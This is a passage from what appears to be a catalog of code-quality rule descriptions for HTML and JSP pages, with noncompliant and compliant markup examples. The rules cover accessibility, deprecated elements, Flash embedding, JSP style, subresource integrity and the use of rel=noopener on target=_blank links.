There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

  • implement resources integrity checks for all static resources (where "static" means that the resource's content doesn't change dynamically based on the browser)
  • use versioned resources instead of using "latest" version of the resources

Sensitive Code Example

<script src="https://cdnexample.com/script.js"></script> <!-- Sensitive -->

Compliant Solution

<script src="https://cdnexample.com/script.js" integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"></script> <!-- Compliant: integrity value should be replaced with the digest of the expected resource -->

See

Web:WmodeIsWindowCheck

Browsers best support the window mode for the wmode parameter, also in terms of accessibility.

As it is the default mode, it is acceptable to either not specify a wmode parameter altogether, or to set it explicitly to window.

Noncompliant Code Example

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400">
  <param name="movie" value="movie_name.swf" />
  <param name="wmode" value="direct" />                              <!-- Non-Compliant -->
</object>

<embed src="movie_name.swf"
       width="550"
       height="400"
       wmode="direct"                                                                 <!-- Non-Compliant -->
       type="application/x-shockwave-flash"
       pluginspage="http://www.macromedia.com/go/getflashplayer" />

Compliant Solution

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400">
  <param name="movie" value="movie_name.swf" />
</object>

<embed src="movie_name.swf"
       width="550"
       height="400"
       type="application/x-shockwave-flash"
       pluginspage="http://www.macromedia.com/go/getflashplayer" />

or

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="400">
  <param name="movie" value="movie_name.swf" />
  <param name="wmode" value="window" />
</object>

<embed src="movie_name.swf"
       width="550"
       height="400"
       wmode="window"
       type="application/x-shockwave-flash"
       pluginspage="http://www.macromedia.com/go/getflashplayer" />
Web:IllegalTabCheck

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

Web:JspScriptletCheck

JSP expressions (using <%= ... %>) have been deprecated because they:

  • Are not unit testable.
  • Are not reusable.
  • Cannot make use of object oriented concepts such as inheritence.
  • Have poor error handling capabilities: if an exception is thrown, an empty page is rended.
  • Mix the business and presentation logic.

JSP Standard Tag Library (JSTL) and Expression Language should be used instead, enabiling the adoption of the model-view-controller (MVC) design pattern which reduces the coupling between the presentation tier and the business logic.

Noncompliant Code Example

<input type="text" name="foo" value="<%= request.getParameter("foo") %>" />

Compliant Solution

<input type="text" name="foo" value="${fn:escapeXml(param.foo)}" />
Web:ImgWithoutWidthOrHeightCheck

If the width and height attributes are set, the space required for the image is reserved immediately by the browser, even before it actually starts to load the image.

Without those attributes, the page layout constantly changes as images are loaded until they are all loaded, which can disorient users.

Noncompliant Code Example

<img src="logo.png" alt="My Company" />                           <!-- Non-Compliant -->

Compliant Solution

<img src="logo.png" alt="My Company" width="100" height="50" />   <!-- Compliant -->
Web:InputWithoutLabelCheck

The <label> tag defines a label for <input>, <select> and <textarea> elements.

The <label> tag improves usability for visually impaired users: Screen readers will announce the label text whenever the focus is set on the input field.

It also improves usability for users with impaired motor control: when the text within the <label> element is clicked, the associated input field is toggled.

In most cases, for attribute of the <label> tag should be equal to the id attribute of the related element to bind them together.

Sometimes the field is explained by an icon. In this case the label can be either hidden or the <input>, <select> or <textarea> tags should contain one of the following attributes: aria-label, aria-labelledby. Screen-readers will use those attributes to describe the field.

The purpose of this rule is to make sure that every input (except submit, button, image, and hidden inputs), select, and textarea field has a label.

Noncompliant Code Example

<input type="text" name="firstname" />               <!-- Non-Compliant - no id -->

<input type="text" name="lastname" id="lastname" />  <!-- Non-Compliant - no matching label for "lastname" -->

<label for="address">Address</label>
<input type="text" name="address" id="address" />    <!-- Compliant -->

<input type="hidden" name="time" value="...">        <!-- Compliant - "hidden" type is excluded -->
<input type="submit" value="Send" />                 <!-- Compliant - "submit" type is excluded -->

Compliant Solution

<label for="firstname">First name</label>
<input type="text" name="firstname" id="firstname" />

<label for="lastname">Last name</label>
<input type="text" name="lastname" id="lastname" />

<!-- OR -->

<input type="text" name="firstname" aria-label="firstname">

<div id="lastNameId">Last name</div>
<input type="text" name="lastname"  aria-labelledby="lastNameId"/>

<!-- still compliant -->

<label for="address">Address</label>
<input type="text" name="address" id="address" />

<input type="hidden" name="time" value="...">
<input type="submit" value="Send" />

Exceptions

No issue will be raised on "implicit labels", i.e. <label> tags enclosing an <input>, <select> or <textarea> instead of being referencing via an id. However, note that the support of this technic is not supported by all assistive technologies. Thus it is better to reference them by id.

<label>
  Name:
  <input type="text" name="name">
</label>

See

* WCAG2, H97 - Using label elements to associate text labels with form controls

* W3C Web Accessibility Tutorials - Labeling Controls

Web:FlashUsesBothObjectAndEmbedCheck

The <object> tag is used by Internet Explorer 3.0 or later on Windows platforms or any browser that supports the use of the Flash ActiveX control. The <embed> tag is used by Netscape Navigator 2.0 or later, or browsers that support the use of the Netscape-compatible plug-in version of Flash Player.

When an ActiveX-enabled browser loads the HTML page, it reads the values set on the <object> and ignores the <embed> tag. When browsers using the Flash plug-in load the HTML page, they read the values set on the <embed> tag and ignore the <object> tag.

Noncompliant Code Example

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100">      <!-- Non-Compliant -->
  <param name="movie" value="movie_name.swf" />
</object>

<embed src="movie_name.swf"                                                                 <!-- Non-Compliant -->
       width="550"
       height="400"
       type="application/x-shockwave-flash"
       pluginspage="http://www.macromedia.com/go/getflashplayer" />

Compliant Solution

<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="100" height="100">      <!-- Compliant -->
  <param name="movie" value="movie_name.swf" />
  <embed src="movie_name.swf"                                                               <!-- Compliant -->
       width="550"
       height="400"
       type="application/x-shockwave-flash"
       pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>
Web:LinksIdenticalTextsDifferentTargetsCheck

When links with different targets are given identical link text, this can produce confusion for users of assistive technologies, some of which provide users the ability to view a list of all links on the page.

When this list of links is presented to the user they may be left not knowing the links go to different destinations.

Even if they do realize the links go to different destinations, they may be left not knowing which link to follow to go to the destination they desire.

Noncompliant Code Example

<a href="a.html">qux</a>
<a href="b.html">qux</a>          <!-- Noncompliant; same text, different targets -->

<a href="c.html">foo</a>
<a href="d.html">foo</a>          <!-- Noncompliant; same text, different targets -->

Compliant Solution

<a href="a.html">qux</a>
<a href="b.html">qaz</a>          <!-- Compliant; different text, different targets -->

<a href="c.html">foo</a>
<a href="c.html">foo</a>          <!-- Compliant; same text, same targets -->
Web:LongJavaScriptCheck

Long pieces of JavaScript should be located in dedicated *.js source files. This makes maintenance of both the script and the pages that use it easier. Additionally, it offers some efficiencies in serving the files, since it takes better advantage of browser caching to only re-serve the parts of a web page that have actually changed.

Noncompliant Code Example

With the default parameter value of 5:

<head>
  ...
  <script type="text/javascript" language="JavaScript">  <!-- Noncompliant -->
    function doTheThing(arg1) {
      ...
      ...
    }

    function doTheOtherThing(arg1) {
      ...
    }

    function andSoOn() {
      ...
    }
  </script>
</head>

Compliant Solution

<head>
  ...
  <script type="text/javascript" language="JavaScript" src="myLongScript.js"> </script>
</head>
Web:MultiplePageDirectivesCheck

While you can use as many page directives as you like, it is more readable to set multiple page attributes in a single directive.

The exception to this rule is when multiple packages are being imported. In that case, imports may be done in separate directives and all other attributes should be set in a single, additional directive.

Noncompliant Code Example

<%@ page session="false" %>
<%@ page import="java.util.*" %>
<%@ page errorPage="error.jsp" %> <!-- Noncompliant -->
<%@ page import="java.text.*" %>

Compliant Solution

<%@ page session="false"
                   errorPage="error.jsp" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*" %>
Web:ComplexityCheck

Most of the time, a very complex file breaks the Single Responsibility Principle and should be re-factored into several different files.

Deprecated

This rule is deprecated, and will eventually be removed.

Web:S1829

It is considered best-practice to use relative URLs in web pages to prevent having to update the addresses if the web address in use changes. Moreover, if some absolute URLs are missed in such a process, it will obviously impact the user experience.

Noncompliant Code Example

<img src="http://www.myserver.com/smiley.gif" alt="Smiley face" height="42" width="42" />

Compliant Solution

<img src="smiley.gif" alt="Smiley face" height="42" width="42" />
Web:InlineStyleCheck

The goal of this rule is to ban the usage of HTML "style" property to make sure that all CSS styles are defined in CSS classes. Consolidating all styling into classes makes it easier to read, understand and maintain.

Noncompliant Code Example

<body>
  <h1 style="color: blue;">Hello World!</h1>  <!-- Noncompliant -->

Compliant Solution

<head>
  <style>
    h1 {
      color: blue;
    }
  </style>
</head>
<body>
<h1>Hello World!</h1>
Web:ImgWithoutAltCheck

The alt attribute provides a textual alternative to an image.

It is used whenever the actual image cannot be rendered.

Common reasons for that include:

  • The image can no longer be found
  • Visually impaired users using a screen reader software
  • Images loading is disabled, to reduce data consumption on mobile phones

It is also very important to not set an alt attribute to a non-informative value. For example <img ... alt="logo"> is useless as it doesn't give any information to the user. In this case, as for any other decorative image, it is better to use a CSS background image instead of an <img> tag. If using CSS background-image is not possible, an empty alt="" is tolerated. See Exceptions bellow.

This rule raises an issue when

  • an <input type="image"> tag or an <area> tag have no alt attribute or their alt attribute has an empty string value.
  • an <img> tag has no alt attribute.

Noncompliant Code Example

<img src="foo.png" /> <!-- Noncompliant -->
<input type="image" src="bar.png" /> <!-- Noncompliant -->
<input type="image" src="bar.png" alt="" /> <!-- Noncompliant -->

<img src="house.gif" usemap="#map1"
    alt="rooms of the house." />
<map id="map1" name="map1">
  <area shape="rect" coords="0,0,42,42"
    href="bedroom.html"/> <!-- Noncompliant -->
  <area shape="rect" coords="0,0,21,21"
    href="lounge.html" alt=""/> <!-- Noncompliant -->
</map>

Compliant Solution

<img src="foo.png" alt="Some textual description of foo.png" />
<input type="image" src="bar.png" alt="Textual description of bar.png" />

<img src="house.gif" usemap="#map1"
    alt="rooms of the house." />
<map id="map1" name="map1">
  <area shape="rect" coords="0,0,42,42"
    href="bedroom.html" alt="Bedroom" />
  <area shape="rect" coords="0,0,21,21"
    href="lounge.html" alt="Lounge"/>
</map>

Exceptions

<img> tags with empty string alt="" attributes won't raise any issue. However this technic should be used in two cases only:

When the image is decorative and it is not possible to use a CSS background image. For example, when the decorative <img> is generated via javascript with a source image coming from a database, it is better to use an <img alt=""> tag rather than generate CSS code.

<li *ngFor="let image of images">
    <img [src]="image" alt="">
</li>

When the image is not decorative but it's alt text would repeat a nearby text. For example, images contained in links should not duplicate the link's text in their alt attribute, as it would make the screen reader repeat the text twice.

<a href="flowers.html">
    <img src="tulip.gif" alt="" />
    A blooming tulip
</a>

In all other cases you should use CSS background images.

See W3C WAI Web Accessibility Tutorials for more information.

See

  • WCAG2, H24 - Providing text alternatives for the area elements of image maps
  • WCAG2, H36 - Using alt attributes on images used as submit buttons
  • WCAG2, H37 - Using alt attributes on img elements
  • WCAG2, H67 - Using null alt text and no title attribute on img elements for images that AT should ignore
  • WCAG2, H2 - Combining adjacent image and text links for the same resource
  • WCAG2, 1.1.1 - Non-text Content
  • WCAG2, 2.4.4 - Link Purpose (In Context)
  • WCAG2, 2.4.9 - Link Purpose (Link Only)
Web:NonConsecutiveHeadingCheck

Heading tags are used by search engines and screen reader softwares to construct an outline of the page.

Starting at <h1> and not skipping any level eases this automatic construction.

Noncompliant Code Example

<h2>My Title</h2>     <!-- Non-Compliant - h1 is not being used -->

<h3>My Sub Title</h3> <!-- Compliant -->

Compliant Solution

<h1>My Title</h1>     <!-- Compliant -->

<h2>My Sub Title</h2> <!-- Compliant -->
Web:ChildElementIllegalCheck

This rule checks that the specified child tag does not appear as a direct child of the specified parent.

Noncompliant Code Example

Assuming a parent/child combination of head/body:

<head>
  ...
  <body>  <!-- Noncompliant -->
    ...
  </body>
</head>

Compliant Solution

<head>
  ...
</head>
Web:TableHeaderHasIdOrScopeCheck

Associating <table> headers, i.e. <th> elements, with their <td> cells enables screen readers to announce the header prior to the data. This considerably increases the accessibility of tables to visually impaired users.

There are two ways of doing it:

  • Adding a scope attribute to <th> headers.
  • Adding an id attribute to <th> headers and a headers attribute to every <td> element.

It is recommended to add scope attributes to <th> headers whenever possible. Use <th id="..."> and <td headers="..."> only when <th scope="..."> is not capable of associating cells to their headers. This happens for very complex tables which have headers splitting the data in multiple subtables. See W3C WAI Web Accessibility Tutorials for more information.

Note that complex tables can often be split into multiple smaller tables, which improves the user experience.

This rule raises an issue when a <th> element has neither id nor scope attributes set.

Noncompliant Code Example

<table border="1">
  <caption>Contact Information</caption>
  <tr>
    <td></td>
    <th>Name</th>                                          <!-- Non-Compliant -->
    <th>Phone#</th>                                        <!-- Non-Compliant -->
    <th>City</th>                                          <!-- Non-Compliant -->
  </tr>
  <tr>
    <td>1.</td>
    <th>Joel Garner</th>                                   <!-- Non-Compliant -->
    <td>412-212-5421</td>
    <td>Pittsburgh</td>
  </tr>
  <tr>
    <td>2.</td>
    <th>Clive Lloyd</th>                                   <!-- Non-Compliant -->
    <td>410-306-1420</td>
    <td>Baltimore</td>
  </tr>
</table>

Compliant Solution

<table border="1">
  <caption>Contact Information</caption>
  <tr>
    <td></td>
    <th scope="col">Name</th>                              <!-- Compliant -->
    <th scope="col">Phone#</th>                            <!-- Compliant -->
    <th scope="col">City</th>                              <!-- Compliant -->
  </tr>
  <tr>
    <td>1.</td>
    <th scope="row">Joel Garner</th>                       <!-- Compliant -->
    <td>412-212-5421</td>
    <td>Pittsburgh</td>
  </tr>
  <tr>
    <td>2.</td>
    <th scope="row">Clive Lloyd</th>                       <!-- Compliant -->
    <td>410-306-1420</td>
    <td>Baltimore</td>
  </tr>
</table>

or:

<table border="1">
  <caption>Contact Information</caption>
  <tr>
    <td></td>
    <th id="name">Name</th>                                <!-- Compliant -->
    <th id="phone">Phone#</th>                             <!-- Compliant -->
    <th id="city">City</th>                                <!-- Compliant -->
  </tr>
  <tr>
    <td>1.</td>
    <th id="person1" headers="name">Joel Garner</th>       <!-- Compliant -->
    <td headers="phone person1">412-212-5421</td>
    <td headers="city person1">Pittsburgh</td>
  </tr>
  <tr>
    <td>2.</td>
    <th id="person2" headers="name">Clive Lloyd</th>       <!-- Compliant -->
    <td headers="phone person2">410-306-1420</td>
    <td headers="city person2">Baltimore</td>
  </tr>
</table>

See

* WCAG2, 1.3.1 - Info and Relationships

  • WCAG2, H43 - Using id and headers attributes to associate data cells with header cells in data tables
Web:ParentElementIllegalCheck

Checker for illegal parent element.

E.g.: title must not have parent element body.

Deprecated

This rule is deprecated; use S1931 instead.

Web:LinkToNothingCheck

There are two ways to build a link that has the sole purpose of running JavaScript code. The goal of this rule is to ban such patterns in order to support browsing with JavaScript disabled.

Noncompliant Code Example

<a href="#" onclick="alert('Clicked!'); return false;">Run JavaScript Code</a> <!-- Noncompliant -->
<a href="javascript:void(0)" onclick="alert('Clicked!'); return false;">Run JavaScript Code</a>  <!-- Noncompliant -->
<a id="inPageAnchor">Jump down the page to me</a>  <!-- Compliant -->

Compliant Solution

<a id="inPageAnchor">Jump down the page to me</a>  <!-- Compliant -->
Web:S1436

This rule allows you to make sure that each HTML page contains an element with your configured ID, regardless of element type. This rule is useful, for instance, if your design requires a placeholder to be present in each page, for example to dynamically insert a footer.

Compliant Solution

With a required id of "#footer":

<div id="#footer">
...
</div>
Web:HeaderCheck

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
Web:MouseEventWithoutKeyboardEquivalentCheck

Offering the same experience with the mouse and the keyboard allow users to pick their preferred devices.

Additionally, users of assistive technology will also be able to browse the site even if they cannot use the mouse.

This rule raises an issue when:

  • an HTML element with an onMouseover attribute doesn't also have an onFocus attribute.
  • an HTML element with an onMouseout attribute doesn't also have an onBlur attribute.
  • an HTML element with an onClick attribute doesn't also have one of the following attributes: onKeyDown, onKeyUp, onKeyPress.

Note that in the case of onClick, the equivalent keyboard handler should support both the "Enter" and "Space" keys as these are usually used by screen-readers.

Noncompliant Code Example

<div onClick="doSomething();" ...>                                <!-- Noncompliant - 'onKeyDown/onKeyUp/onKeyPress' missing -->
<a onMouseover="doSomething();" ...>                            <!-- Noncompliant - 'onFocus' missing -->
<a onMouseout="doSomething();" ...>                             <!-- Noncompliant - 'onBlur' missing -->

Compliant Solution

Note that setting the tabindex attribute is necessary to make the <div> element focusable.

<div onClick="doSomething();" onKeyDown="doSomething();" tabindex="0" ...>    <!-- Compliant -->
<a onMouseover="doSomething();" onFocus="doSomething();" ...>   <!-- Compliant -->
<a onMouseout="doSomething();" onBlur="doSomething();" ...>     <!-- Compliant -->

Exceptions

For the following elements, pressing a key will trigger the onClick attribute: <input type="button">, <input type="submit">, <button>, <a>. Thus no issue will be raised when an onClick attribute is found in these elements without a onKeyDown/onKeyUp/onKeyPress.

An issue will still be raised for elements with the role="button" attribute as they don't behave the same way.

See

Web:MetaRefreshCheck

Use of <meta http-equiv="refresh"> is discouraged by the World Wide Web Consortium (W3C).

If a user clicks the 'Back' button, some browers will go back to the redirecting page, which will prevent the user from actually going back.

To refresh the page, a better alternative is to use Ajax, to refresh only what needs to be refreshed and not the whole page.

To redirect to another page, using the HTTP response status code 301 'Moved Permanently' and 302 'Found' is a better option.

Noncompliant Code Example

<head>
  <meta http-equiv="refresh" content="5">   <!-- Non-Compliant -->
  <meta name="description" content="...">
</head>

Compliant Solution

<head>
  <meta name="description" content="...">
</head>
Web:S5260

If a <td> cell has a headers attribute, it should reference only IDs of headers in the same column and row.

Note that it is usually better to use scope attributes of <th> headers instead of headers attribute. headers attribute requires you to list every corresponding <th> header's id, which is error-prone and makes the code less maintainable. See W3C WAI Web Accessibility Tutorials for more information.

If your table is too complex, it might be better to split it into multiple small tables as it improves both readability and maintainability.

This rule raises an issue when the headers attribute of a <td> cell contains IDs which don't belong to a header in the same row or column.

Noncompliant Code Example

<table border="1">
<caption>
    Rental price
</caption>
<thead>
    <tr>
        <td></td>
        <th id="small" scope="col">
            Small car
        </th>
        <th id="big" scope="col">
            Big Car
        </th>
    </tr>
</thead>
<tbody>
    <tr>
        <th id="paris" class="span" colspan="3" scope="colgroup">
            Paris
        </th>
        </tr>
        <tr>
        <th headers="paris" id="day1">
            1 day
        </th>
        <td headers="paris day1 big"> <!-- Noncompliant, referencing the column "big" instead of "small" -->
            11 euros
        </td>
        <td headers="berlin day1 big"> <!-- Noncompliant, there is no header with id "berlin" -->
            50 euros
        </td>
        </tr>
    </tr>
</tbody>
</table>

Exceptions

No issue will be raised if the headers attribute contains the following characters: {}()[]$. This avoids false positives on variables coming from Javascript frameworks such as Angular.

See

  • WCAG2, 1.3.1 - Info and Relationships
  • WCAG2, H43 - Using id and headers attributes to associate data cells with header cells in data tables
Web:S5264

Assistive technologies, such as screen readers, will not be able to render <object> elements, in such cases it is the content of the <object> which is provided to the user. This alternative content needs to be accessible or the screen readers won't be able to use it. For example, if an <img> is used it must contain an \alt attribute (see corresponding rule Web:ImgWithoutAltCheck).

This rule raises an issue when an <object> tag does not have any alternative content.

Noncompliant Code Example

<object></object> <!-- Noncompliant -->

<object>
  <object></object> <!-- Noncompliant -->
</object>

Compliant Solution

<object>This application shows the simulation of two particles colliding</object>

<object>
  <img src="flower.png" alt="Flower growing in a pot" />
</object>

<object>
  <object>
    This application shows the simulation of two particles colliding
  </object>
</object>

See

Web:AvoidCommentedOutCodeCheck

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

Web:DynamicJspIncludeCheck

Content that doesn't change or that doesn't change often should be included using a mechanism which won't try to interpret it. Specifically, <%@ include file="..." %>, which includes the file in the JSP servlet translation phase (i.e. it happens once), should be used instead of <jsp:include page="..." />, which includes the page on the file, when the content is being served to the user.

Noncompliant Code Example

<jsp:include page="header.jsp">  <!-- Noncompliant -->

Compliant Solution

<%@ include file="header.jsp" %>
Web:BoldAndItalicTagsCheck

The <strong>/<b> and <em>/<i> tags have exactly the same effect in most web browsers, but there is a fundamental difference between them: <strong> and <em> have a semantic meaning whereas <b> and <i> only convey styling information like CSS.

While <b> can have simply no effect on a some devices with limited display or when a screen reader software is used by a blind person, <strong> will:

  • Display the text bold in normal browsers
  • Speak with lower tone when using a screen reader such as Jaws

Consequently:

  • in order to convey semantics, the <b> and <i> tags shall never be used,
  • in order to convey styling information, the <b> and <i> should be avoided and CSS should be used instead.

Noncompliant Code Example

<i>car</i>             <!-- Noncompliant -->
<b>train</b>         <!-- Noncompliant -->

Compliant Solution

<em>car</em>
<strong>train</strong>

Exceptions

This rule is relaxed in case of icon fonts usage.

<i class="..." aria-hidden="true" />    <!-- Compliant icon fonts usage -->
Web:IllegalTagLibsCheck

This rule checks that the disallowed tag libraries are not used.

Noncompliant Code Example

Using the default parameter for this rule, "http://java.sun.com/jstl/sql":

<%@ taglib uri="http://java.sun.com/jstl/sql" prefix="prefixOfTag" > <!-- Noncompliant -->
<jsp:directive.taglib uri="http://java.sun.com/jstl/sql" prefix="prefixOfTag" /> <!-- Noncompliant -->
Web:ParentElementRequiredCheck

This rule checks that required HTML parent elements are present for certain child elements.

Web:S1827

With the advent of HTML5, many old attributes were deprecated. To ensure the best user experience, deprecated attributes should not be used. This rule checks for the following deprecated attributes, where CSS should be used instead.

Attributes

Attribute Removed from
accept form
align caption, col, div, embed, h1-h6, hr, iframe, img, input, legend, object, p, table, tbody, thead, tfoot, td, th, tr
alink body
allowtransparency iframe
archive object
axis td, th
background body, table, thead, tbody, tfoot, tr, td, th
bgcolor body, table, td, th, tr
border img (border="0" allowed), object
bordercolor table
cellpadding table
cellspacing table
char col, tbody, thead, tfoot, td, th, tr
charoff col, tbody, thead, tfoot, td, th, tr
charset a, link
classid object
clear br
code object
codebase object
codetype object
color hr
compact dl, ol, ul
coords a
datafld a, applet, button, div, fieldset, frame, iframe, img, input, label, legend, marquee, object, param, select, span, textarea
dataformatas button, div, input, label, legend, marquee, object, option, select, span, table
datapagesize table
datasrc a, applet, button, div, frame, iframe, img, input, label, legend, marquee, object, option, select, span, table, textarea
declare object
event script
for script
frame table
frameborder iframe
height td, th
hspace embed, iframe, img, input, object
ismap input
langauge script (language="javascript", case insensitive, allowed)
link body
lowsrc img
marginbottom body
marginheight body, iframe
marginleft body
marginright body
margintop body
marginwidth body, iframe
methods a, link
name a (name="[a's element id]" allowed), embed, img, option
nohref area
noshade hr
nowrap td, th
profile head
rules table
scheme meta
scope td
scrolling iframe
shape a
size hr
standby object
summary table
target link
text body
type li, param, ul
urn a, link
usemap input
valign col, tbody, thead, tfoot, td, th, tr
valuetype param
version html
vlink body
vspace embed, iframe, img, input, object
width col, hr, pre, table, td, th

See

Web:FileLengthCheck

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

Web:S5148

When a link opens a URL in a new tab with target="_blank", it is very simple for the opened page to change the location of the original page because the JavaScript variable window.opener is not null and thus window.opener.location can be set by the opened page. This exposes the user to very simple phishing attacks.

Imagine a link posted on a comment of a popular web site (say: http://petssocialnetwork.io/) that opens a new tab that changes the URL of the original page to http://petssocialnetwork-pishing.io/. On "http://petssocialnetwork-pishing.io/" you land at a fake login page similar to the one at "http://petssocialnetwork.io/" but controlled by the hacker and asking the user to log in again, pretending that the session just timed-out.

To prevent pages from abusing window.opener, use rel=noopener on <a href=> to force its value to be null on the opened pages.

In Chrome 88+, Firefox 79+ or Safari 12.1+ target=_blank on anchors implies rel=noopener which make the protection enabled by default.

Ask Yourself Whether

  • The application opens untrusted external URL in a new tab using target=_blank
  • The application supports web browsers before Chrome 88, Firefox 79 or Safari 12.1

There is a risk if you answered yes to all of those questions.

Recommended Secure Coding Practices

  • Use rel=noopener on <a href=> prevent untrusted pages from abusing window.opener.

Sensitive Code Example

<a href="http://dangerouswebsite.com" target="_blank"> <!-- Sensitive; "window.opener" may not null on the new tab/window and could be changed by http://dangerouswebsite.com -->

<a href="{{variable}}" target="_blank"> <!-- Sensitive  -->

Compliant Solution

<a href="http://dangerouswebsite.com" target="_blank" rel="noopener"> <!-- Compliant -->

Exceptions

No Issue will be raised when href contains a hardcoded relative url as there it has less chances of being vulnerable. An url is considered hardcoded and relative if it doesn't start with http:// or https://, and if it does not contain any of the characters {}$()[]

<a href="internal.html" target="_blank" > <!-- Compliant -->

See

Web:TableWithoutCaptionCheck

In order to be accessible to visually impaired users, it is important that tables provides a description of its content before the data is accessed.

The simplest way to do it, and also the one recommended by WCAG2 is to add a <caption> element inside the <table>.

Other technics this rule accepts are:

  • adding a concise description via aria-label or aria-labelledby attributes in the <table>.
  • referencing a description element with an aria-describedby attribute in the <table>.
  • embedding the <table> inside a <figure> which also contains a <figcaption>.
  • adding a summary attribute to the <table> tag. However note that this attribute has been deprecated in HTML5.

See W3C WAI Web Accessibility Tutorials for more information.

This rule raises an issue when a <table> has neither of the previously mentioned description mechanisms.

Noncompliant Code Example

<table> <!-- Noncompliant -->
  ...
<table>

Compliant Solution

Adding a <caption> element.

<table>
  <caption>New York City Marathon Results 2013</caption>
  ...
</table>

Adding an aria-describedby attribute.

<p id="mydesc">New York City Marathon Results 2013</p>
<table aria-describedby="mydesc">
  ...
</table>

Embedding the table in a <figure> which also contains a <figcaption>.

<figure>
  <figcaption>New York City Marathon Results 2013</figcaption>
  <table>
    ...
  </table>
</figure>

Adding a summary attribute. However note that this attribute has been deprecated in HTML5.

<table summary="New York City Marathon Results 2013">
  ...
</table>

Exceptions

No issue will be raised on <table> used for layout purpose, i.e. when it contains a role attribute set to "presentation" or "none". Note that using <table> for layout purpose is a bad practice.

No issue will be raised either on <table> containing an aria-hidden attribute set to "true".

See

  • WCAG2, 1.3.1 - Info and Relationships
  • WCAG2, H39 - Using caption elements to associate data table captions with data tables
Web:UnsupportedTagsInHtml5Check

With the advent of HTML5, many old elements were deprecated. To ensure the best user experience, deprecated elements should not be used. This rule checks for the following deprecated elements:

Element Remediation Action
basefont, big, blink, center, font, marquee, multicol, nobr, spacer, tt use CSS
acronym use abbr
applet use embed or object
bgsound use audio
frame, frameset, noframes restructure the page to remove frames
isindex use form controls
dir use ul
hgroup use header or div
listing use pre and code
nextid use GUIDS
noembed use object instead of embed when fallback is necessary
plaintext use the "text/plain" MIME type
strike use del or s
xmp use pre or code, and escape "<" and "&" characters

See

Web:DoubleQuotesCheck

Checker to find use of single quote where double quote is preferred.

Noncompliant Code Example

<div id='header'></div>

Compliant Solution

<div id="header"></div>
Web:WhiteSpaceAroundCheck

The proper use of white space makes a major contribution to code readability.

This rule raises an issue when there is not a space character after the beginning and before the end of each comment (<!-- ... -->), directive (<%@ ... %>), and expression (<% ... %>).

Noncompliant Code Example

<!--Do the thing-->  <!-- Noncompliant; missing space at beginning and end of text-->
<%@page import="java.io.*,java.util.*" %> <!-- Noncompliant; missing space at beginning -->
<% String title = "My Page";%> <!-- Noncompliant; missing space at end -->

Compliant Solution

<!-- Do the thing -->
<%@ page import="java.io.*,java.util.*" %>
<% String title = "My Page"; %>
Web:DoctypePresenceCheck

The <!DOCTYPE> declaration tells the web browser which (X)HTML version is being used on the page, and therefore how to interpret the various elements.

Validators also rely on it to know which rules to enforce.

It should always preceed the <html> tag.

Noncompliant Code Example

<html>  <!-- Noncompliant -->
...
</html>

Compliant Solution

<!DOCTYPE html>
<html>  <!-- Compliant -->
...
</html>
Web:IllegalElementCheck

This rule checks that the specified HTML elements are not present.

Noncompliant Code Example

For a disallowed list of "font,center":

<center><font color="red">Hello World!</font></center> <!-- Noncompliant -->

Compliant Solution

<div class="centerRed">Hello World!</div>
Web:S4084

In order to make your site usable by as many people as possible, subtitles should be provided for videos.

This rule raises an issue when a video does not include at least one <track/> tag with the kind attribute set to captions, or descriptions or at the very least subtitles.

Note that the subtitles kind is not meant for accessibility but for translation. The kind captions targets people with hearing impairment, whereas descriptions targets people with vision impairment.

Noncompliant Code Example

<video id="video" controls preload="metadata">
   <source src="resources/myvideo.mp4" type="video/mp4">
   <source src="resources/myvideo.webm" type="video/webm">
</video>

Compliant Solution

<video id="video" controls preload="metadata">
   <source src="resources/myvideo.mp4" type="video/mp4">
   <source src="resources/myvideo.webm" type="video/webm">
   <track label="English" kind="captions" srclang="en" src="resources/myvideo-en.vtt" default>
   <track label="Deutsch" kind="captions" srclang="de" src="resources/myvideo-de.vtt">
   <track label="Español" kind="captions" srclang="es" src="resources/myvideo-es.vtt">
</video>
Web:ServerSideImageMapsCheck

The ismap attribute in an img tag creates a server-side image map: The browser sends the coordinates of the clicked point to the server.

For any person who cannot use a mouse, this form of navigation is inaccessible because it is the position of the cursor on the image that determines the action.

On the other hand, client-side image maps, which use the usemap attribute allow for each clickable area to specify an alternate text, enabling accessibility for the blind.

Further, in terms of separation of concerns, it is definitely better to leave the task of mapping pixels to links to the client.

Noncompliant Code Example

<a href="click_on_world_map.php" target="_self">
  <img src="world_map.png" ismap>              <!-- Noncompliant -->
</a>

Compliant Solution

<img src="world_map.png" usemap="#world_map">

<map name="world_map">
  <area shape="rect" coords="0,0,10,10" href="france.html" alt="France">
  <area shape="circle" coords="20,20,10" href="spain.html" alt="Spain">
  <area shape="circle" coords="30,30,8" href="england.html" alt="England">
